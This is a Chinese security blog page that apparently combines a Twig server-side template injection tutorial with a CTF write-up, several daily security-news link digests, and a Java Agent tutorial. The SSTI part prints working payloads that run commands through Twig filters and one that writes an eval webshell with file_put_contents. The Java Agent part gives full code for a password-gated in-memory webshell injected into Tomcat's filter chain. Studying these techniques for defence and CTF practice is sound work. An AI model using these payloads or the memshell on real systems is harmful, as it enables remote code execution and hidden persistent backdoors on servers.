以Twig模板为例浅学一手SSTI
什么是SSTI SSTI:开局一张图,姿势全靠y SSTI,即服务器端模板注入(Server-Side Template Injection) 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。 sql注入的成因是从用户获得一个输入后,经过后端脚本语言进行数据库查询,这时我们就可以构造输入语句来进行拼接,从而实现我们想要的sql语句 SSTI也是如此,不过SSTI是在服务端接收了输入后,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,将恶意语句进行了拼接,因此可能造成敏感信息泄露、代码执行、getshell等问题 在这我会简单以常见的Twig模板引擎进行演示,有所遗漏错误,欢迎各位师傅们进行补充纠正 模板引擎 模板是一种提供给程序进行解析的一种语法,从初始数据到实际的视觉表达靠的就是这一项工作所实现的,且这种手段是同时存在于前后端的 常见的模板引擎有 1.php 常用的 Smarty Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛 Twig Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。 Blade Blade 是 Laravel 提供的一个既简单又强大的模板引擎。 和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。 2.Java 常用的 JSP 这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典 FreeMarker FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。 Velocity Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。 3.Python 常用的 Jinja2 flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎 django django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了 tornado tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发 形形色色的模板引擎为了达到渲染效果,总会对用户输入有所处理,这也就给攻击者提供了道路,尽管模板引擎也会相应提供沙箱机制进行保护,但是也存在沙箱逃逸技术可以进行绕过 攻击思路 找到模板是什么模板引擎,是哪个版本的,然后设法利用模板的内置方法,进行rce、getshell PHP-Twig Twig 被许多开源项目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;许多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。 本地复现可以用composer搭建 在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息(虽然经常会被ban就是...) {{_self}} #指向当前应用 {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} 基础语法 模板其实就是一个文本文件,它可以生成我们需要的任何基于文本的格式文件(html、xml、csv等) 它也没有特别的拓展后缀名,.html、.xml、.twig都可 这里主要讲一些我们在利用时会用到的基础知识 变量 应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, foo['bar'] : {{ foo.bar }} {{ foo['bar'] }} 全局变量 模板中始终提供以下变量: _self :引用当前模板名称;(在twig1.x和2.x/3.x作用不一) _context :引用当前上下文; _charset :引用当前字符集。 设置变量 可以为代码块内的变量赋值。赋值使用set标签: {% set foo = 'foo' %} {% set foo = [1, 2] %} {% set foo = {'foo': 'bar'} %} 过滤器 变量可以修改为 过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。 下面的示例从 name 标题是: {{ name|striptags|title }}接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素: {{ list|join }} {{ list|join(', ') }} // {{ ['a', 'b', 'c']|join }} // Output: abc // {{ ['a', 'b', 'c']|join('|') }} // Output: a|b|c若要对代码部分应用筛选器,请使用apply标签: {% apply upper %}    This text becomes uppercase {% endapply %}过滤器有很多,但是我们常用的一般就map、sort、filter、reduce 更多内置过滤器请参考:https://twig.symfony.com/doc/3.x/filters/index.html 控制结构 控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环,以及程序块之类的东西。控制结构出现在 {{% ... %}} 中 例如,要显示在名为 users 使用for标签: <h1>Members</h1> <ul>   {% for user in users %}        <li>{{ user.username|e }}</li>   {% endfor %} </ul>if标记可用于测试表达式: {% if users|length > 0 %}    <ul>       {% for user in users %}            <li>{{ user.username|e }}</li>       {% endfor %}    </ul> {% endif %}更多 tags 请参考:https://twig.symfony.com/doc/3.x/tags/index.html 函数 在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表: {% for i in range(0, 3) %}   {{ i }}, {% endfor %} // Output: 0, 1, 2, 3, 更多内置函数请参考:https://twig.symfony.com/doc/3.x/functions/index.html 注释 要在模板中注释某一行,可以使用注释语法 {# ...#} {# note: disabled template because we no longer use this   {% for user in users %}       ...   {% endfor %} #} 引入其他模板 Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板 {{ include('sidebar.html') }} 模板继承 Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。 从一个例子开始更容易理解这个概念。 让我们定义一个基本模板, base.html ,它定义了可用于两列页面的HTML框架文档: <!DOCTYPE html> <html>   <head>       {% block head %}           <link rel="stylesheet" href="style.css"/>           <title>{% block title %}{% endblock %} - My Webpage</title>       {% endblock %}   </head>   <body>       <div id="content">{% block content %}{% endblock %}</div>       <div id="footer">           {% block footer %}               &copy; Copyright 2011 by <a href="http://domain.invalid/">you</a>.           {% endblock %}       </div>   </body> </html>在这个例子中,block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。 子模板可能如下所示: {% extends "base.html" %} {% block title %}Index{% endblock %} {% block head %}   {{ parent() }}   <style type="text/css">       .important { color: #336699; }   </style> {% endblock %} {% block content %}   <h1>Index</h1>   <p class="important">       Welcome to my awesome homepage.   </p> {% endblock %}其中的 extends 标签是关键所在,其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。 更多 Twig 的语法请参考:https://twig.symfony.com/doc/3.x/ 1.x 在twig 1.x版本,存在三个全局变量 _self:引用当前模板实例 _context:引用上下文 _charset:引用当前字符集 其相对应的代码如下 protected $specialVars = [        '_self' => '$this',        '_context' => '$context',        '_charset' => '$this->env->getCharset()',   ];在twig 1.x中,主要利用的是_self变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法 payload setCache方法 {{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}} 通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含 getFilter方法 在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数 #getFilter public function getFilter($name) {   ...    foreach ($this->filterCallbacks as $callback) {    if (false !== $filter = call_user_func($callback, $name)) {      return $filter;   } }  return false; } public function registerUndefinedFilterCallback($callable) {  $this->filterCallbacks[] = $callable; } {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) 但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串 2.x&3.x 在这里我用twig3.x+php7.3.4作为示例 用PHP的API调用twig index.php <?php require_once "./vendor/autoload.php"; $loader = new \Twig\Loader\ArrayLoader([    'index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader); $template = $twig->createTemplate("Hello {$_GET['name']}!"); echo $template->render();在twig2.x/3.x中,_self不再像1.x时那么有他独特的作用,但是也相应更新了一些特殊方法来供我们利用 map过滤器 map 这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值: {% set people = [ {first: "Bob", last: "Smith"}, {first: "Alice", last: "Dupond"}, ] %} {{ people|map(p => "#{p.first} #{p.last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} arrow函数还接收密钥作为第二个参数: {% set people = { "Bob": "Smith", "Alice": "Dupond", } %} {{ people|map((last, first) => "#{first} #{last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} 注意arrow函数可以访问当前上下文。 可以看出允许用户传一个arrow 函数,arrow 函数最后会变成一个closure 举个例子 当我们传入 {{["man"]|map((arg)=>"hello #{arg}")}}在模板中会被编译为 twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))map所对应的函数如下 function twig_array_map($array $arrow) {    $r = [];    foreach ($array as $k => $v) {        $r[$k] = $arrow($v $k);   }    return $r; }我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v 和 $k 分别是 $array 中的 value 和 key 所以$array和$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce 经过查询,有如下几种常见命令执行函数 system ( string $command [, int &$return_var ] ) : string passthru ( string $command [, int &$return_var ] ) exec ( string $command [, array &$output [, int &$return_var ]] ) : string shell_exec ( string $cmd ) : string有两个参数的函数就上面三种,其对应payload {{["whoami"]|map("system")}} {{["whoami"]|map("passthru")}} {{["whoami"]|map("exec")}}    // 无回显 但是当上面的都被ban了呢,我们还有没有其他方法rce 当然,例如 file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int当我们找到路径后就可以利用该函数进行写shell了 ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}} 根据map过滤器的利用思路,我们可以再找到其他类似的,带有$arrow参数的 sort过滤器 sort 这个 sort 筛选器对数组排序: {% for user in users|sort %} ... {% endfor %} 注解 在内部,Twig使用PHP https://secure.php.net/asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。 您可以传递一个箭头函数来对数组进行排序: {% set fruits = [   { name: 'Apples', quantity: 5 },   { name: 'Oranges', quantity: 2 },   { name: 'Grapes', quantity: 4 }, ] %} {% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}   {{ fruit }} {% endfor %} {# output in this order: Oranges, Grapes, Apples #} 注意 spaceship 运算符来简化比较。 类似于map,sort在模板编译时也会进入twig_sort_filter 函数 function twig_sort_filter($array, $arrow = null) {    if ($array instanceof \Traversable) {        $array = iterator_to_array($array);   } elseif (!\is_array($array)) {        throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));   }    if (null !== $arrow) {        uasort($array, $arrow);    // 直接被 uasort 调用   } else {        asort($array);   }    return $array; }uasort ( array &$array , callable $value_compare_func ) : bool可以看到,$array 和$arrow直接被uasort调用 uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce 这样我们就可以构造payload了 {{["id", 0]|sort("system")}} {{["id", 0]|sort("passthru")}} {{["id", 0]|sort("exec")}}    // 无回显 filter过滤器 filter 这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值: {% set sizes = [34, 36, 38, 40, 42] %} {{ sizes|filter(v => v > 38)|join(', ') }} {# output 40, 42 #} 与 for 标记,它允许筛选要迭代的项: {% for v in sizes|filter(v => v > 38) -%} {{ v }} {% endfor %} {# output 40 42 #} 它也适用于映射: {% set sizes = { xs: 34, s: 36, m: 38, l: 40, xl: 42, } %} {% for k, v in sizes|filter(v => v > 38) -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 xl = 42 #} arrow函数还接收密钥作为第二个参数: {% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 #} 注意arrow函数可以访问当前上下文。 类似于map,filter在模板编译时也会进入twig_array_filter 函数 function twig_array_filter($array, $arrow) {    if (\is_array($array)) {        return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用   }    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow); } array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array可以看到和前面方法类似,我们实验一下 得到payload {{["id"]|filter("system")}} {{["id"]|filter("passthru")}} {{["id"]|filter("exec")}}    // 无回显 {{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map过滤器一样可以写 Webshell reduce 过滤器 reduce 这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值: {% set numbers = [1, 2, 3] %} {{ numbers|reduce((carry, v) => carry + v) }} {# output 6 #} 这个 reduce 过滤器需要 initial 值作为第二个参数: {{ numbers|reduce((carry, v) => carry + v, 10) }} {# output 16 #} 注意arrow函数可以访问当前上下文。 直接来看函数 function twig_array_reduce($array, $arrow, $initial = null) {    if (!\is_array($array)) {        $array = iterator_to_array($array);   }    return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用 } array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed可以看到array_reduce是有三个参数的 $array 和 $arrow 直接被 array_filter 函数调用,我们可以利用该性质自定义一个危险函数从而达到rce 刚开始还是像前面一样构造 {{["id", 0]|reduce("passthru")}}但是发现没有执行成功,原因是第一次调用的是 passthru($initial, "id")因为$initial为null,所以会报错,我们想要对他进行赋值才行 payload {{[0, 0]|reduce("system", "id")}} {{[0, 0]|reduce("passthru", "id")}} {{[0, 0]|reduce("exec", "id")}}    // 无回显 题目 [BJDCTF2020]Cookie is so stable 进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint 返回访问flag.php 经过简单测试猜测为twig(传入{{7*'7'}}后Jinja2输出7777777,Twig输出49) 同时发现在cookie是我们的输入点,开始查看是什么版本的twig,用_self来测试 cookie user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} twig1.x,我们直接cat /flag试试 cookie user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} 基本思路还是测试出为哪个模板,哪个版本,测试payload即可 后言 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,那么就很有可能出现SSTI,并且根据其模板引擎的复杂性和开发语言的特性,很大几率会出现非常严重的问题 联想到最近的log4j2漏洞,与SSTI类似,都是将用户的输入当作可信任内容,这才出现了大大小小的安全问题 一句话总结:永远不要相信用户的输入
网络安全日报 2021年12月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新型"PseudoManuscrypt"间谍软件针对数千计的工业系统 https://www.securityweek.com/thousands-industrial-systems-targeted-new-pseudomanuscrypt-spyware 2、MuddyWater组织利用Aclip后门攻击航空公司 https://www.securityweek.com/iran-linked-apt-abuses-slack-attacks-asian-airline 3、联想笔记本电脑ImControllerService服务存在漏洞可用于提权 https://securityaffairs.co/wordpress/125711/hacking/lenovo-laptops-privileges-escalation-flaws.html 4、丙烷气体分销商Superior Plus遭到勒索软件攻击 https://www.darkreading.com/attacks-breaches/propane-distributor-hit-with-ransomware 5、研究表明对抗性攻击会使人工智能和医生作出错误诊断 https://www.govinfosecurity.com/study-attacks-manipulate-medical-imaging-ai-outcomes-a-18131 6、攻击者利用网络钓鱼活动分发Agent Tesla恶意程序 https://www.bleepingcomputer.com/news/security/phishing-campaign-uses-powerpoint-macros-to-drop-agent-tesla/ 7、FBI 意外发现HelloKitty 勒索软件团伙疑似在乌克兰境外活动 https://securityaffairs.co/wordpress/125675/cyber-crime/hellokitty-ransomware-ukraine.html 8、黑客利用 Log4J 漏洞发动大规模网络攻击 https://arstechnica.com/information-technology/2021/12/hackers-launch-over-840000-attacks-through-log4j-flaw/ 9、攻击者通过击溃Ubuntu 的AccountsService 获得 root https://www.bleepingcomputer.com/news/security/grafana-fixes-zero-day-vulnerability-after-exploits-spread-over-twitter/ 10、Ascendex加密货币交易所遭到黑客攻击-7700万美元被盗 https://www.hackread.com/ascendex-cryptocurrency-exchange-hacked/
网络安全日报 2021年12月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软发现多个利用 Log4j2 漏洞的国家级别 APT https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw 2、SAP 修补了受 Log4Shell 漏洞影响的20 个应用程序 https://www.securityweek.com/sap-patches-log4shell-vulnerability-20-applications 3、黑客使用恶意 IIS 模块窃取 Microsoft Exchange 凭据 https://thehackernews.com/2021/12/hackers-using-malicious-iis-server.html 4、Anubis安卓银行木马针对数百个金融应用程序进行攻击 https://thehackernews.com/2021/12/update-google-chrome-to-patch-new-zero.html 5、美国阿片类药物门诊治疗中心BHG遭受网络攻击 https://www.bleepingcomputer.com/news/security/cyberattack-on-bhg-opioid-treatment-network-disrupts-patient-care/ 6、勒索软件Khonsari和Nemesis Kitten正在利用Log4j2漏洞 https://www.zdnet.com/article/khonsari-ransomware-iranian-group-nemesis-kitten-seen-exploiting-log4j/ 7、Log4j2 被发现新的DoS漏洞(CVE-2021-45046) https://thehackernews.com/2021/12/second-log4j-vulnerability-cve-2021.html 8、美国国土安全部宣布推出"Hack DHS"漏洞赏金计划 https://securityaffairs.co/wordpress/125646/security/hack-dhs-bug-bounty-program.html 9、quebec因Log4Shell漏洞被披露而关闭了数千个网站 https://securityaffairs.co/wordpress/125556/hacking/quebec-shut-down-sites-log4shell.html 10、REvil 勒索软件分支机构在罗马尼亚被捕 https://thehackernews.com/2021/12/ransomware-affiliate-arrested-in.html
网络安全日报 2021年12月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软周二补丁日修复了7个关键安全漏洞 https://threatpost.com/exploited-microsoft-zero-day-spoofing-malware/177045/ 2、已有数十个僵尸网络在利用Log4j2漏洞进行攻击 https://threatpost.com/log4shell-attacks-origin-botnet/176977/ 3、Apple iOS 更新修复了 iPhone 远程越狱漏洞 https://thehackernews.com/2021/12/latest-apple-ios-update-patches-remote.html 4、伊朗 APT 在网络间谍活动中瞄准中东电信运营商 https://www.securityweek.com/iranian-apt-targets-middle-east-telecoms-operators-espionage-campaign 5、Chrome 96 更新补丁修复了0day漏洞 https://www.securityweek.com/chrome-96-update-patches-exploited-zero-day-vulnerability 6、制造业和工控软件受Log4j2漏洞影响 https://www.securityweek.com/industrial-organizations-targeted-log4shell-attacks 7、Adobe更新修复了多个产品中的 60 多个漏洞 https://securityaffairs.co/wordpress/125640/security/adobe-60-vulnerabilities-multiple-products.html 8、TinyNuke银行恶意软件针对法国实体进行攻击 https://www.proofpoint.com/us/blog/threat-insight/tinynuke-banking-malware-targets-french-entities 9、加密货币交易所Ascendex遭受网络攻击 https://www.hackread.com/ascendex-cryptocurrency-exchange-hacked/ 10、CISA 命令联邦机构在 12 月 24 日之前修复 Log4j2 漏洞 https://securityaffairs.co/wordpress/125623/security/cisa-log4shell-actions.html
Java Agent学习
前言 今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法: 实现premain方法,在JVM启动前加载 实现agentmain方法,在JVM启动后attach加载 因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具,我之前也用过https://mp.weixin.qq.com/s/vDIteSf9u32m6odrzWUPSg,因此抱着学习和复习的态度来复现下本文提到的技术点。 JAVA Agent两种方法复现 Java Agent简单说就是一种可以修改jar字节码的技术,我们来复现下上述提到的两种方法。 premain 通过实现premain方法,并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序,hello.jar: package com.test; public class Hello {   public static void main(String[] args) {       hello();   }   public static void hello(){       for (int i = 0; i < 1000; i++) {           System.out.println("hello");           try {               Thread.sleep(1000);           } catch (InterruptedException e) {               e.printStackTrace();           }       }   } } 生成jar包: Build -> Build Artifacts -> Build 正常运行jar包得到如下输出: java -jar hello.jar 接下来编写一个实现premain方法的JAVA程序: package com.test; import java.lang.instrument.Instrumentation; public class premainagent {   public static void premain(String args, Instrumentation inst) throws Exception{       for (int i = 0; i < 10; i++) {           System.out.println("hello I`m premain agent!!!");       }   } } 并在MANIFEST.MF添加一行: Premain-Class: com.test.premainagent 生成jar包并加载执行: java -javaagent:premainagent.jar -jar hello.jar 可以看到,成功的在hello.jar本身结果输出前输出了premain方法的内容: 前面也提到现在破解CobaltStrike流行用JAVA Agent技术,我们看下破解工具的源码,能发现确实用的也是premain方法进行的破解: agentmain 但是有些JVM已经启动了,不好去让他重启,因此这个时候agentmain就派上用场了,可以方便的attach对应的进程进行字节码的修改。 编写一个实现了agentmain方法的JAVA程序: package com.test; import java.lang.instrument.Instrumentation; public class agentmaintest {   public static void agentmain(String agentArgs, Instrumentation inst) {       for (int i = 0; i < 10; i++) {           System.out.println("hello I`m agentMain!!!");       }   } } 并在MANIFEST.MF添加一行: Agent-Class: com.test.agentmaintest 生成jar包。 再编写一个attach程序(附2): import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class TestAgentMain {   public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{       //获取当前系统中所有 运行中的 虚拟机       System.out.println("running JVM start ");       List<VirtualMachineDescriptor> list = VirtualMachine.list();       for (VirtualMachineDescriptor vmd : list) {           System.out.println(vmd.displayName());           String aim = args[0];//你的jar包           if (vmd.displayName().endsWith(aim)) {               System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));               VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());               virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包               virtualMachine.detach();           }       }   } } 生成jar包。 依然尝试对hello.jar进行字节码的修改,但是这次是运行着的hello.jar: 首先运行hello.jar: java -jar hello.jar 对hello.jar进行启动后的attach加载: java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar 发现成功在hello.jar运行过程中进行了字节码修改: 内存马 既然可以修改某个方法的实现,那如果修改spring boot的Filter是否就可以实现一个Filter内存马?这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。 依然实现一个agentmain方法,只是这次agentmain方法中不再是System.out.println了,而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain 得加上这两句: ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader())); 除了上面agentmain章节中提到的,在MANIFEST.MF中添加一行Agent-Class,还要添加一行: Can-Retransform-Classes: true 且最后执行命令的JAVA代码,申明变量类型时得是完整路径,如InputStream得变成java.io.InputStream。最终代码如下: package com.test; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import javassist.*; import java.lang.instrument.UnmodifiableClassException; import java.lang.instrument.IllegalClassFormatException; import java.io.IOException; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.NotFoundException; public class memshell {   public static void agentmain(String agentArgs, Instrumentation instrumentation)           throws ClassNotFoundException, UnmodifiableClassException {       instrumentation.addTransformer(new ClassFileTransformer() {           @Override           public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,                                   ProtectionDomain protectionDomain, byte[] classfileBuffer){               System.out.println("premain load Class2:" + className);               if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){                   System.out.println("nonononononono");                   return null;               }else {                   try {                       System.out.println("tryyyyyyyy");                       ClassPool classPool = ClassPool.getDefault();                       classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));                       if (classBeingRedefined != null) {                           ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                           classPool.insertClassPath(ccp);                       }                       CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");                       CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");                       String source = "{javax.servlet.http.HttpServletRequest request = $1;" +                               "javax.servlet.http.HttpServletResponse response = $2;" +                               "request.setCharacterEncoding(\"UTF-8\");" +                               "String result = \"\";" +                               "String password = request.getParameter(\"password\");" +                               "if (password != null && password.equals(\"xxxxxx\")) {" +                               "String cmd = request.getParameter(\"cmd\");" +                               "if (cmd != null && cmd.length() > 0) {" +                               "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +                               "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +                               "byte[] b = new byte[1024];" +                               "int a = -1;" +                               "while ((a = in.read(b)) != -1) {" +                               "baos.write(b, 0, a);" +                               "}" +                               "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +                               "}" +                               "}}";                       ctMethod.insertBefore(source);                       System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");                       byte[] byteCode = ctClass.toBytecode();                       ctClass.detach();                       return byteCode;                   } catch (Exception e) {                       e.printStackTrace();                   }                   return null;               }           }       },true);       instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));   } } 打包成jar,然后启动spring boot: 开始注入: java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar 成功执行命令: 总结 本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。 附1:https://xz.aliyun.com/t/9450 附2:https://blog.csdn.net/qq_41874930/article/details/121284684
网络安全日报 2021年12月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、苹果在最新的 iOS 更新中修补了 42 个安全漏洞 https://www.securityweek.com/apple-patches-42-security-flaws-latest-ios-refresh 2、CISA 将 Log4Shell添加到已知被利用漏洞目录 https://securityaffairs.co/wordpress/125577/security/log4shell-known-exploited-vulnerabilities-catalog.html 3、Log4Shell 至少在公开披露前 9 天就已被在野利用 https://securityaffairs.co/wordpress/125567/hacking/log4shell-log4j-exploitation.html 4、 Muhstik 和 Mirai 僵尸网络已经利用Log4Shell进行攻击 https://securityaffairs.co/wordpress/125562/malware/linux-botnets-log4shell-flaw.html 5、研究人员发现新的WiFi芯片漏洞,影响数十亿设备 https://securityaffairs.co/wordpress/125585/hacking/wifi-chip-coexistence-attacks.html 6、食品巨头遭勒索软件攻击导致美国陷入奶油奶酪供应短缺 https://gizmodo.com/ransomware-jerks-helped-cause-the-cream-cheese-shortage-1848195368 7、Hillrom心脏保健设备中的漏洞可导致攻击者控制设备 https://portswigger.net/daily-swig/zero-day-vulnerability-in-hillrom-cardiology-devices-could-allow-attackers-full-control 8、考克斯通信向受到数据泄露影响的客户发送通知 https://www.forbes.com/sites/leemathews/2021/12/11/hacker-poses-as-support-rep-to-breach-cox-communications/ 9、Qakbot木马在其构建模块中添加了勒索功能 https://www.zdnet.com/article/this-decade-old-malware-has-picked-up-some-nasty-new-tricks/ 10、恶意Notepad++安装程序推送StrongPity恶意软件 https://www.bleepingcomputer.com/news/security/malicious-notepad-plus-plus-installers-push-strongpity-malware/
网络安全日报 2021年12月13日
